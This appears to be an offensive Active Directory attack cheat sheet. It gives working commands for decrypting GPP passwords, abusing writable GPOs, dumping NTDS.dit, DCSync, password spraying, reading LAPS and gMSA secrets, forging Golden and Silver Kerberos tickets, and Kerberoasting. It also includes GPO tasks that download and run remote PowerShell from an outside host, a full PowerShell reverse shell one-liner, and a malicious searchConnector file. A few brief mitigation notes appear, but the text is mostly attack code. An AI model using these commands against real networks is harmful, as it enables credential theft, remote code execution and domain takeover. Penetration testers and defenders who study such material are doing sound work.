<?xml version="1.0" encoding="UTF-8"?>
<searchConnectorDescription xmlns="
<http://schemas.microsoft.com/windows/2009/searchConnector>">
    <iconReference>imageres.dll,-1002</iconReference>
    <description>Microsoft Outlook</description>
    <isSearchOnlyItem>false</isSearchOnlyItem>
    <includeInStartMenuScope>true</includeInStartMenuScope>
    <iconReference>\\\\workstation@8888\\folder.ico</iconReference>
    <templateInfo>
        <folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>
    </templateInfo>
    <simpleLocation>
        <url>\\\\workstation@8888\\folder</url>
    </simpleLocation>
</searchConnectorDescription>
```

Passwords in SYSVOL & Group Policy Preferences

Find password in SYSVOL (MS14-025). SYSVOL is the domain-wide share in Active Directory to which all authenticated users have read access. All domain Group Policies are stored here: `\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\`.

```
findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml
```

Decrypt a Group Policy Password found in SYSVOL (by 0x00C651E0), using the 32-byte AES key provided by Microsoft in the MSDN - 2.2.1.1.4 Password Encryption

```
echo 'password_in_base64' | base64 -d | openssl enc -d -aes-256-cbc -K
4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000

e.g:
echo '5OPdEKwZSf7dYAvLOe6RzRDtcvT/wCP8g5RqmAgjSso=' | base64 -d | openssl enc -d -
aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv
0000000000000000

echo
'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglV
mQ' | base64 -d | openssl enc -d -aes-256-cbc -K
4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000
```

Automate the SYSVOL and passwords research

- `Metasploit` modules to enumerate shares and credentials

  ```
  scanner/smb/smb_enumshares
  post/windows/gather/enum_shares
  post/windows/gather/credentials/gpp
  ```

- CrackMapExec modules

  ```
  cme smb 10.10.10.10 -u Administrator -H 89[...]9d -M gpp_autologin
  cme smb 10.10.10.10 -u Administrator -H 89[...]9d -M gpp_password
  ```

- Get-GPPPassword

  ```
  # with a NULL session
  Get-GPPPassword.py -no-pass 'DOMAIN_CONTROLLER'

  # with cleartext credentials
  Get-GPPPassword.py 'DOMAIN'/'USER':'PASSWORD'@'DOMAIN_CONTROLLER'

  # pass-the-hash
  Get-GPPPassword.py -hashes 'LMhash':'NThash'
  'DOMAIN'/'USER':'PASSWORD'@'DOMAIN_CONTROLLER'
  ```

Mitigations

- Install KB2962486 on every computer used to manage GPOs which prevents new credentials from being placed in Group Policy Preferences.
- Delete existing GPP xml files in SYSVOL containing passwords.
- Don’t put passwords in files that are accessible by all authenticated users.

Exploit Group Policy Objects GPO

> Creators of a GPO are automatically granted explicit Edit settings, delete, modify security, which manifests as CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner

:triangular_flag_on_post: GPO Priorization : Organization Unit > Domain > Site > Local

GPO are stored in the DC in `\\<domain.dns>\SYSVOL\<domain.dns>\Policies\<GPOName>\`, inside two folders **User** and **Machine**. If you have the right to edit the GPO you can connect to the DC and replace the files. Planned Tasks are located at `Machine\Preferences\ScheduledTasks`.

:warning: Domain members refresh group policy settings every 90 minutes by default but it can locally be forced with the following command: `gpupdate /force`.

Find vulnerable GPO

Look a GPLink where you have the **Write** right.

```
Get-DomainObjectAcl -Identity "SuperSecureGPO" -ResolveGUIDs |  Where-Object
{($_.ActiveDirectoryRights.ToString() -match
"GenericWrite|AllExtendedWrite|WriteDacl|WriteProperty|WriteMember|GenericAll|WriteOw
ner")}
```

Abuse GPO with SharpGPOAbuse

```
# Build and configure SharpGPOAbuse
$ git clone https://github.com/FSecureLABS/SharpGPOAbuse
$ Install-Package CommandLineParser -Version 1.9.3.15
$ ILMerge.exe /out:C:\SharpGPOAbuse.exe C:\Release\SharpGPOAbuse.exe
C:\Release\CommandLine.dll

# Adding User Rights
.\SharpGPOAbuse.exe --AddUserRights --UserRights
"SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount bob.smith --
GPOName "Vulnerable GPO"

# Adding a Local Admin
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName "Vulnerable
GPO"

# Configuring a User or Computer Logon Script
.\SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents
"powershell.exe -nop -w hidden -c \"IEX ((new-object
net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"

# Configuring a Computer or User Immediate Task
# /!\ Intended to "run once" per GPO refresh, not run once per system
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --
Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object
net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
.\SharpGPOAbuse.exe --AddComputerTask --GPOName "VULNERABLE_GPO" --Author
'LAB.LOCAL\User' --TaskName "EvilTask" --Arguments  "/c powershell.exe -nop -w hidden
-enc BASE64_ENCODED_COMMAND " --Command "cmd.exe" --Force
```

Abuse GPO with PowerGPOAbuse

- https://github.com/rootSySdk/PowerGPOAbuse

```
PS> . .\PowerGPOAbuse.ps1

# Adding a localadmin
PS> Add-LocalAdmin -Identity 'Bobby' -GPOIdentity 'SuperSecureGPO'

# Assign a new right
PS> Add-UserRights -Rights "SeLoadDriverPrivilege","SeDebugPrivilege" -Identity
'Bobby' -GPOIdentity 'SuperSecureGPO'

# Adding a New Computer/User script
PS> Add-ComputerScript/Add-UserScript -ScriptName 'EvilScript' -ScriptContent $(Get-
Content evil.ps1) -GPOIdentity 'SuperSecureGPO'

# Create an immediate task
PS> Add-GPOImmediateTask -TaskName 'eviltask' -Command 'powershell.exe /c' -
CommandArguments "'$(Get-Content evil.ps1)'" -Author Administrator -Scope
Computer/User -GPOIdentity 'SuperSecureGPO'
```

Abuse GPO with pyGPOAbuse

```
$ git clone https://github.com/Hackndo/pyGPOAbuse

# Add john user to local administrators group (Password: H4x00r123..)
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-
123456789012"

# Reverse shell example
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-
123456789012" \
    -powershell \
    -command "\$client = New-Object
System.Net.Sockets.TCPClient('10.20.0.2',1234);\$stream = \$client.GetStream();
[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0,
\$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName
System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 |
Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte =
([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte
.Length);\$stream.Flush()};\$client.Close()" \
    -taskname "Completely Legit Task" \
    -description "Dis is legit, pliz no delete" \
    -user
```

Abuse GPO with PowerView

```
# Enumerate GPO
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}

# New-GPOImmediateTask to push an Empire stager out to machines via VulnGPO
New-GPOImmediateTask -TaskName Debugging -GPODisplayName VulnGPO -CommandArguments '-
NoP -NonI -W Hidden -Enc AAAAAAA...' -Force
```

Abuse GPO with StandIn

```
# Add a local administrator
StandIn.exe --gpo --filter Shards --localadmin user002

# Set custom right to a user
StandIn.exe --gpo --filter Shards --setuserrights user002 --grant
"SeDebugPrivilege,SeLoadDriverPrivilege"

# Execute a custom command
StandIn.exe --gpo --filter Shards --tasktype computer --taskname Liber --author
"REDHOOK\Administrator" --command "C:\I\do\the\thing.exe" --args "with args"
```

Dumping AD Domain Credentials

You will need the following files to extract the ntds :

- NTDS.dit file
- SYSTEM hive (`C:\Windows\System32\SYSTEM`)

Usually you can find the ntds in two locations : `systemroot\NTDS\ntds.dit` and `systemroot\System32\ntds.dit`.

- `systemroot\NTDS\ntds.dit` stores the database that is in use on a domain controller. It contains the values for the domain and a replica of the values for the forest (the Configuration container data).
- `systemroot\System32\ntds.dit` is the distribution copy of the default directory that is used when you install Active Directory on a server running Windows Server 2003 or later to create a domain controller. Because this file is available, you can run the Active Directory Installation Wizard without having to use the server operating system CD.

However you can change the location to a custom one, you will need to query the registry to get the current location.

```
reg query HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v "DSA Database
file"
```

Using ndtsutil

```
C:\>ntdsutil
ntdsutil: activate instance ntds
ntdsutil: ifm
ifm: create full c:\pentest
```

```
ifm: quit
ntdsutil: quit
```

or

```
ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
```

Using Vshadow

```
vssadmin create shadow /for=C :
Copy Shadow_Copy_Volume_Name\windows\ntds\ntds.dit c:\ntds.dit
```

You can also use the Nishang script, available at : https://github.com/samratashok/nishang

```
Import-Module .\Copy-VSS.ps1
Copy-VSS
Copy-VSS -DestinationDir C:\ShadowCopy\
```

Using vssadmin

```
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit
C:\ShadowCopy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM
C:\ShadowCopy
```

Using DiskShadow (a Windows signed binary)

```
diskshadow.txt contains :
set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit
delete shadows volume %someAlias%
reset

then:
NOTE - must be executed from C:\Windows\System32
diskshadow.exe /s  c:\diskshadow.txt
dir c:\exfil
reg.exe save hklm\system c:\exfil\system.bak
```

Using esentutl.exe

Copy/extract a locked file such as the AD Database

```
esentutl.exe /y /vss c:\windows\ntds\ntds.dit /d c:\folder\ntds.dit
```

Extract hashes from ntds.dit

then you need to use secretsdump to extract the hashes, use the `LOCAL` options to use it on a retrieved ntds.dit

```
secretsdump.py -system /root/SYSTEM -ntds /root/ntds.dit LOCAL
```

secretsdump also works remotely

```
./secretsdump.py -dc-ip IP AD\administrator@domain -use-vss -pwd-last-set -user-
status
./secretsdump.py -hashes
aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc
PENTESTLAB/dc\$@10.0.0.1
```

- `-pwd-last-set`: Shows pwdLastSet attribute for each NTDS.DIT account.
- `-user-status`: Display whether or not the user is disabled.

Alternatives - modules

Metasploit modules

```
windows/gather/credentials/domain_hashdump
```

PowerSploit module

```
Invoke-NinjaCopy --path c:\windows\NTDS\ntds.dit --verbose --localdestination
c:\ntds.dit
```

CrackMapExec module

```
cme smb 10.10.0.202 -u username -p password --ntds vss
cme smb 10.10.0.202 -u username -p password --ntds drsuapi #default
```

Using Mimikatz DCSync

Any member of Administrators, Domain Admins, or Enterprise Admins as well as Domain Controller computer accounts are able to run DCSync to pull password data.

```
# DCSync only one user
mimikatz# lsadump::dcsync /domain:htb.local /user:krbtgt

# DCSync all users of the domain
mimikatz# lsadump::dcsync /domain:htb.local /all /csv
```

:warning: Read-Only Domain Controllers are not allowed to pull password data for users by default.

Using Mimikatz sekurlsa

Dumps credential data in an Active Directory domain when run on a Domain Controller. :warning: Requires administrator access with debug or Local SYSTEM rights

```
sekurlsa::krbtgt
lsadump::lsa /inject /name:krbtgt
```

Crack NTLM hashes with hashcat

Useful when you want to have the clear text password or when you need to make stats about weak passwords.

Recommended wordlists:

- Rockyou.txt
- Have I Been Pwned founds
- Weakpass.com
- Read More at Methodology and Resources/Hash Cracking.md

```
# Basic wordlist
# (-O) will Optimize for 32 characters or less passwords
# (-w 4) will set the workload to "Insane"
$ hashcat64.exe -m 1000 -w 4 -O -a 0 -o pathtopotfile pathtohashes pathtodico -r
myrules.rule --opencl-device-types 1,2

# Generate a custom mask based on a wordlist
$ git clone https://github.com/iphelix/pack/blob/master/README
$ python2 statsgen.py ../hashcat.potfile -o hashcat.mask
$ python2 maskgen.py hashcat.mask --targettime 3600 --optindex -q -o
hashcat_1H.hcmask
```

:warning: If the password is not a confidential data (challenges/ctf), you can use online "cracker" like :

- hashmob.net
- crackstation.net
- hashes.com

Password spraying

Password spraying refers to the attack method that takes a large number of usernames and loops them with a single password.

> The builtin Administrator account (RID:500) cannot be locked out of the system no matter how many failed logon attempts it accumulates.

Most of the time the best passwords to spray are :

- `P@ssw0rd01`, `Password123`, `Password1`, `Hello123`, `mimikatz`
- `Welcome1`/`Welcome01`
- $Companyname1 :`$Microsoft1`
- SeasonYear : `Winter2019*`, `Spring2020!`, `Summer2018?`, `Summer2020`, `July2020!`
- Default AD password with simple mutations such as number-1, special character iteration (*,?,!,#)
- Empty Password (Hash:31d6cfe0d16ae931b73c59d7e0c089c0)

Kerberos pre-auth bruteforcing

Using `kerbrute`, a tool to perform Kerberos pre-auth bruteforcing.

> Kerberos pre-authentication errors are not logged in Active Directory with a normal **Logon failure event (4625)**, but rather with specific logs to **Kerberos pre-authentication failure (4771)**.

- Username bruteforce

```
root@kali:~$ ./kerbrute_linux_amd64 userenum -d domain.local --dc 10.10.10.10
usernames.txt
```

- Password bruteforce

```
root@kali:~$ ./kerbrute_linux_amd64 bruteuser -d domain.local --dc 10.10.10.10
rockyou.txt username
```

- Password spray

```
root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc
10.10.10.10 domain_users.txt Password123
root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc
10.10.10.10 domain_users.txt rockyou.txt
root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc
10.10.10.10 domain_users.txt '123456' -v --delay 100 -o kerbrute-passwordspray-
123456.log
```

Spray a pre-generated passwords list

- Using `crackmapexec` and `mp64` to generate passwords and spray them against SMB services on the network.

```
crackmapexec smb 10.0.0.1/24 -u Administrator -p `(./mp64.bin Pass@wor?l?a)`
```

- Using `DomainPasswordSpray` to spray a password against all users of a domain.

```
# https://github.com/dafthack/DomainPasswordSpray
Invoke-DomainPasswordSpray -Password Summer2021!
# /!\ be careful with the account lockout !
Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList
passlist.txt -OutFile sprayed-creds.txt
```

- Using `SMBAutoBrute`.

```
Invoke-SMBAutoBrute -UserList "C:\ProgramData\admins.txt" -PasswordList
"Password1, Welcome1, 1qazXDR%+" -LockoutThreshold 5 -ShowVerbose
```

Spray passwords against the RDP service

- Using RDPassSpray to target RDP services.

```
git clone https://github.com/xFreed0m/RDPassSpray
python3 RDPassSpray.py -u [USERNAME] -p [PASSWORD] -d [DOMAIN] -t [TARGET IP]
```

- Using hydra and ncrack to target RDP services.

```
hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt
rdp://10.10.10.10
ncrack –connection-limit 1 -vv --user administrator -P password-file.txt
rdp://10.10.10.10
```

BadPwdCount attribute

> The number of times the user tried to log on to the account using an incorrect password. A value of 0 indicates that the value is unknown.

```
$ crackmapexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --users
LDAP        10.0.2.11       389    dc01        Guest       badpwdcount: 0 pwdLastSet:
<never>
LDAP        10.0.2.11       389    dc01        krbtgt      badpwdcount: 0 pwdLastSet:
<never>
```

Password in AD User comment

```
$ crackmapexec ldap domain.lab -u 'username' -p 'password' -M user-desc
$ crackmapexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 -M get-
desc-users
GET-DESC... 10.0.2.11       389    dc01     [+] Found following users:
GET-DESC... 10.0.2.11       389    dc01     User: Guest description: Built-in account
for guest access to the computer/domain
GET-DESC... 10.0.2.11       389    dc01     User: krbtgt description: Key Distribution
Center Service Account
```

There are 3-4 fields that seem to be common in most AD schemas: `UserPassword`, `UnixUserPassword`, `unicodePwd` and `msSFU30Password`.

```
enum4linux | grep -i desc

Get-WmiObject -Class Win32_UserAccount -Filter "Domain='COMPANYDOMAIN' AND
Disabled='False'" | Select Name, Domain, Status, LocalAccount, AccountType, Lockout,
PasswordRequired,PasswordChangeable, Description, SID
```

or dump the Active Directory and `grep` the content.

```
ldapdomaindump -u 'DOMAIN\john' -p MyP@ssW0rd 10.10.10.10 -o ~/Documents/AD_DUMP/
```

Reading LAPS Password

> Use LAPS to automatically manage local administrator passwords on domain joined computers so that passwords are unique on each managed computer, randomly generated, and securely stored in Active Directory infrastructure.

Determine if LAPS is installed

```
Get-ChildItem 'c:\program files\LAPS\CSE\Admpwd.dll'
Get-FileHash 'c:\program files\LAPS\CSE\Admpwd.dll'
Get-AuthenticodeSignature 'c:\program files\LAPS\CSE\Admpwd.dll'
```

Extract LAPS password

> The "ms-mcs-AdmPwd" a "confidential" computer attribute that stores the clear-text LAPS password. Confidential attributes can only be viewed by Domain Admins by default, and unlike other attributes, is not accessible by Authenticated Users

- From Windows:
    - adsisearcher (native binary on Windows 8+)

      ```
      ([adsisearcher]"(&(objectCategory=computer)(ms-MCS-AdmPwd=*)
      (sAMAccountName=*))").findAll() | ForEach-Object { $_.properties}
      ([adsisearcher]"(&(objectCategory=computer)(ms-MCS-AdmPwd=*)
      (sAMAccountName=MACHINE$))").findAll() | ForEach-Object { $_.properties}
      ```

    - PowerView

      ```
      PS > Import-Module .\PowerView.ps1
      PS > Get-DomainComputer COMPUTER -Properties ms-mcs-AdmPwd,ComputerName,ms-
      mcs-AdmPwdExpirationTime
      ```

- LAPSToolkit

  ```
  $ Get-LAPSComputers
  ComputerName                Password
  Expiration
  ------------                --------                                ------
  ----
  example.domain.local        dbZu7;vGaI)Y6w1L
  02/21/2021 22:29:18

  $ Find-LAPSDelegatedGroups
  $ Find-AdmPwdExtendedRights
  ```

- Powershell AdmPwd.PS

  ```
  foreach ($objResult in $colResults){$objComputer = $objResult.Properties;
  $objComputer.name|where {$objcomputer.name -ne $env:computername}|%
  {foreach-object {Get-AdmPwdPassword -ComputerName $_}}}
  ```

* From Linux:
  - pyLAPS to **read** and **write** LAPS passwords:

    ```
    # Read the password of all computers
    ./pyLAPS.py --action get -u 'Administrator' -d 'LAB.local' -p 'Admin123!' -
    -dc-ip 192.168.2.1
    # Write a random password to a specific computer
    ./pyLAPS.py --action set --computer 'PC01$' -u 'Administrator' -d
    'LAB.local' -p 'Admin123!' --dc-ip 192.168.2.1
    ```

  - CrackMapExec:

    ```
    crackmapexec smb 10.10.10.10 -u 'user' -H
    '8846f7eaee8fb117ad06bdd830b7586c' -M laps
    ```

  - LAPSDumper

    ```
    python laps.py -u 'user' -p 'password' -d 'domain.local'
    python laps.py -u 'user' -p
    'e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c' -d
    'domain.local' -l 'dc01.domain.local'
    ```

  - ldapsearch

    ```
    ldapsearch -x -h  -D "@" -w  -b "dc=<>,dc=<>,dc=<>" "(&
    (objectCategory=computer)(ms-MCS-AdmPwd=*))" ms-MCS-AdmPwd`
    ```

Reading GMSA Password

> User accounts created to be used as service accounts rarely have their password changed. Group Managed Service Accounts (GMSAs) provide a better approach (starting in the Windows 2012 timeframe). The password is managed by AD and automatically rotated every 30 days to a randomly generated password of 256 bytes.

GMSA Attributes in the Active Directory

- `msDS-GroupMSAMembership` (`PrincipalsAllowedToRetrieveManagedPassword`) - stores the security principals that can access the GMSA password.
- `msds-ManagedPassword` - This attribute contains a BLOB with password information for group-managed service accounts.
- `msDS-ManagedPasswordId` - This constructed attribute contains the key identifier for the current managed password data for a group MSA.
- `msDS-ManagedPasswordInterval` - This attribute is used to retrieve the number of days before a managed password is automatically changed for a group MSA.

Extract NT hash from the Active Directory

- GMSAPasswordReader (C#)

```
# https://github.com/rvazarkar/GMSAPasswordReader
GMSAPasswordReader.exe --accountname SVC_SERVICE_ACCOUNT
```

- gMSADumper (Python)

```
# https://github.com/micahvandeusen/gMSADumper
python3 gMSADumper.py -u User -p Password1 -d domain.local
```

- Active Directory Powershell

```
$gmsa =  Get-ADServiceAccount -Identity 'SVC_SERVICE_ACCOUNT' -Properties 'msDS-ManagedPassword'
$blob = $gmsa.'msDS-ManagedPassword'
$mp = ConvertFrom-ADManagedPasswordBlob $blob
$hash1 =  ConvertTo-NTHash -Password $mp.SecureCurrentPassword
```

- gMSA_Permissions_Collection.ps1 based on Active Directory PowerShell module

Forging Golden GMSA

> One notable difference between a **Golden Ticket** attack and the **Golden GMSA** attack is that they no way of rotating the KDS root key secret. Therefore, if a KDS root key is compromised, there is no way to protect the gMSAs associated with it.

- Using GoldenGMSA

```
# Enumerate all gMSAs
GoldenGMSA.exe gmsainfo
# Query for a specific gMSA
GoldenGMSA.exe gmsainfo --sid S-1-5-21-1437000690-1664695696-1586295871-1112

# Dump all KDS Root Keys
GoldenGMSA.exe kdsinfo
# Dump a specific KDS Root Key
GoldenGMSA.exe kdsinfo --guid 46e5b8b9-ca57-01e6-e8b9-fbb267e4adeb

# Compute gMSA password
# --sid <gMSA SID>: SID of the gMSA (required)
# --kdskey <Base64-encoded blob>: Base64 encoded KDS Root Key
# --pwdid <Base64-encoded blob>: Base64 of msds-ManagedPasswordID attribute
value
GoldenGMSA.exe compute --sid S-1-5-21-1437000690-1664695696-1586295871-1112 #
requires privileged access to the domain
GoldenGMSA.exe compute --sid S-1-5-21-1437000690-1664695696-1586295871-1112 --
kdskey AQAAALm45UZXyuYB[...]G2/M= # requires LDAP access
GoldenGMSA.exe compute --sid S-1-5-21-1437000690-1664695696-1586295871-1112 --
kdskey AQAAALm45U[...]SM0R7djG2/M= --pwdid AQAAA[..]AAA # Offline mode
```

Pass-the-Ticket Golden Tickets

Forging a TGT require the `krbtgt` NTLM hash

> The way to forge a Golden Ticket is very similar to the Silver Ticket one. The main differences are that, in this case, no service SPN must be specified to ticketer.py, and the krbtgt ntlm hash must be used.

Using Mimikatz

```
# Get info - Mimikatz
lsadump::lsa /inject /name:krbtgt
lsadump::lsa /patch
lsadump::trust /patch
lsadump::dcsync /user:krbtgt

# Forge a Golden ticket - Mimikatz
kerberos::purge
kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-
2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt
kerberos::tgt
```

Using Meterpreter

```
# Get info - Meterpreter(kiwi)
dcsync_ntlm krbtgt
dcsync krbtgt

# Forge a Golden ticket - Meterpreter
load kiwi
golden_ticket_create -d <domainname> -k <nthashof krbtgt> -s <SID without le RID> -u
```

```
<user_for_the_ticket> -t <location_to_store_tck>
golden_ticket_create -d pentestlab.local -u pentestlabuser -s S-1-5-21-3737340914-2019594255-2413685307 -k d125e4f69c851529045ec95ca80fa37e -t /root/Downloads/pentestlabuser.tck
kerberos_ticket_purge
kerberos_ticket_use /root/Downloads/pentestlabuser.tck
kerberos_ticket_list
```

Using a ticket on Linux

```
# Convert the ticket kirbi to ccache with kekeo
misc::convert ccache ticket.kirbi

# Alternatively you can use ticketer from Impacket
./ticketer.py -nthash a577fcf16cfef780a2ceb343ec39a0d9 -domain-sid S-1-5-21-2972629792-1506071460-1188933728 -domain amity.local mbrody-da

ticketer.py -nthash HASHKRBTGT -domain-sid SID_DOMAIN_A -domain DEV Administrator -extra-sid SID_DOMAIN_B_ENTERPRISE_519
./ticketer.py -nthash e65b41757ea496c2c60e82c05ba8b373 -domain-sid S-1-5-21-354401377-2576014548-1758765946 -domain DEV Administrator -extra-sid S-1-5-21-2992845451-2057077057-2526624608-519

export KRB5CCNAME=/home/user/ticket.ccache
cat $KRB5CCNAME

# NOTE: You may need to comment the proxy_dns setting in the proxychains configuration file
./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100
```

If you need to swap ticket between Windows and Linux, you need to convert them with `ticket_converter` or `kekeo`.

```
root@kali:ticket_converter$ python ticket_converter.py velociraptor.ccache velociraptor.kirbi
Converting ccache => kirbi
root@kali:ticket_converter$ python ticket_converter.py velociraptor.kirbi velociraptor.ccache
Converting kirbi => ccache
```

Mitigations:

- Hard to detect because they are legit TGT tickets
- Mimikatz generate a golden ticket with a life-span of 10 years

Pass-the-Ticket Silver Tickets

Forging a TGS require machine account password (key) or NTLM hash of the service account.

```
# Create a ticket for the service
mimikatz $ kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE
```

```
# Examples
mimikatz $ /kerberos::golden /domain:adsec.local /user:ANY /sid:S-1-5-21-1423455951-
1752654185-1824483205 /rc4:ceaxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx /target:DESKTOP-
01.adsec.local /service:cifs /ptt
mimikatz $ kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-
1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus
/service:cifs /target:labwws02.jurassic.park

# Then use the same steps as a Golden ticket
mimikatz $ misc::convert ccache ticket.kirbi

root@kali:/tmp$ export KRB5CCNAME=/home/user/ticket.ccache
root@kali:/tmp$ ./psexec.py -k -no-pass -dc-ip 192.168.1.1
AD/administrator@192.168.1.100
```

Interesting services to target with a silver ticket :

Service Type	Service Silver Tickets	Attack
WMI	HOST + RPCSS	`wmic.exe /authority:"kerberos:DOMAIN\DC01" /node:"DC01" process call create "cmd /c evil.exe"`
PowerShell Remoting	CIFS + HTTP + (wsman?)	`New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC`
WinRM	HTTP + wsman	`New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC`
Scheduled Tasks	HOST	`schtasks /create /s dc01 /SC WEEKLY /RU "NT Authority\System" /IN "SCOM Agent Health Check" /IR "C:/shell.ps1"`
Windows File Share (CIFS)	CIFS	`dir \\dc01\c$`
LDAP operations including Mimikatz DCSync	LDAP	`lsadump::dcsync /dc:dc01 /domain:domain.local /user:krbtgt`
Windows Remote Server Administration Tools	RPCSS + LDAP + CIFS	/

Mitigations:

- Set the attribute "Account is Sensitive and Cannot be Delegated" to prevent lateral movement with the generated ticket.

Kerberoasting

> "A service principal name (SPN) is a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account. " - MSDN

Any valid domain user can request a kerberos ticket (TGS) for any domain service. Once the ticket is received, password cracking can be done offline on the ticket to attempt to break the password for whatever user the service is running as.

- GetUserSPNs from Impacket Suite

```
$ GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip
10.10.10.100 -request

Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies

ServicePrincipalName  Name           MemberOf
PasswordLastSet      LastLogon
--------------------  -------------  -------------------------------------------
-------------  -------------------  -------------------
active/CIFS:445       Administrator  CN=Group Policy Creator
Owners,CN=Users,DC=active,DC=htb  2018-07-18 21:06:40  2018-12-03 17:11:11

$krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*$424338c0a3c3af43[...]84fd
2
```

- CrackMapExec Module

```
$ crackmapexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --
kerberoast output.txt
LDAP        10.0.2.11       389    dc01           [*] Windows 10.0 Build 17763
x64 (name:dc01) (domain:lab.local) (signing:True) (SMBv1:False)
LDAP        10.0.2.11       389    dc01
$krb5tgs$23$*john.doe$lab.local$MSSQLSvc/dc01.lab.local~1433*$efea32[...]49a5e82
$b28fc61[...]f800f6dcd259ea1fca8f9
```

- Rubeus

```
# Stats
Rubeus.exe kerberoast /stats
-------------------------------------   ----------------------------------
| Supported Encryption Type | Count |  | Password Last Set Year | Count |
-------------------------------------  ----------------------------------
| RC4_HMAC_DEFAULT          | 1     |  | 2021                   | 1     |
-------------------------------------  ----------------------------------

# Kerberoast (RC4 ticket)
Rubeus.exe kerberoast /creduser:DOMAIN\JOHN /credpassword:MyP@ssW0RD
/outfile:hash.txt

# Kerberoast (AES ticket)
# Accounts with AES enabled in msDS-SupportedEncryptionTypes will have RC4
tickets requested.
Rubeus.exe kerberoast /tgtdeleg

# Kerberoast (RC4 ticket)
# The tgtdeleg trick is used, and accounts without AES enabled are enumerated
and roasted.
Rubeus.exe kerberoast /rc4opsec
```

- PowerView

```
Request-SPNTicket -SPN "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local"
```

- bifrost on **macOS** machine

```
./bifrost -action asktgs -ticket doIF<...snip...>QUw= -service host/dc1-
lab.lab.local -kerberoast true
```

- targetedKerberoast

```
# for each user without SPNs, it tries to set one (abuse of a write permission
on the servicePrincipalName attribute),
# print the "kerberoast" hash, and delete the temporary SPN set for that
operation
targetedKerberoast.py [-h] [-v] [-q] [-D TARGET_DOMAIN] [-U USERS_FILE] [--
request-user username] [-o OUTPUT_FILE] [--use-ldaps] [--only-abuse] [--no-
abuse] [--dc-ip ip address] [-d DOMAIN] [-u USER] [-k] [--no-pass | -p PASSWORD
| -H [LMHASH:]NTHASH | --aes-key hex key]
```

Then crack the ticket using the correct hashcat mode (`$krb5tgs$23`= `etype 23`)

Mode	Description
`13100`	Kerberos 5 TGS-REP etype 23 (RC4)
`19600`	Kerberos 5 TGS-REP etype 17 (AES128-CTS-HMAC-SHA1-96)
`19700`	Kerberos 5 TGS-REP etype 18 (AES256-CTS-HMAC-SHA1-96)

```
./hashcat -m 13100 -a 0 kerberos_hashes.txt crackstation.txt
./john --wordlist=/opt/wordlists/rockyou.txt --fork=4 --format=krb5tgs
~/kerberos_hashes.txt
```

Mitigations:

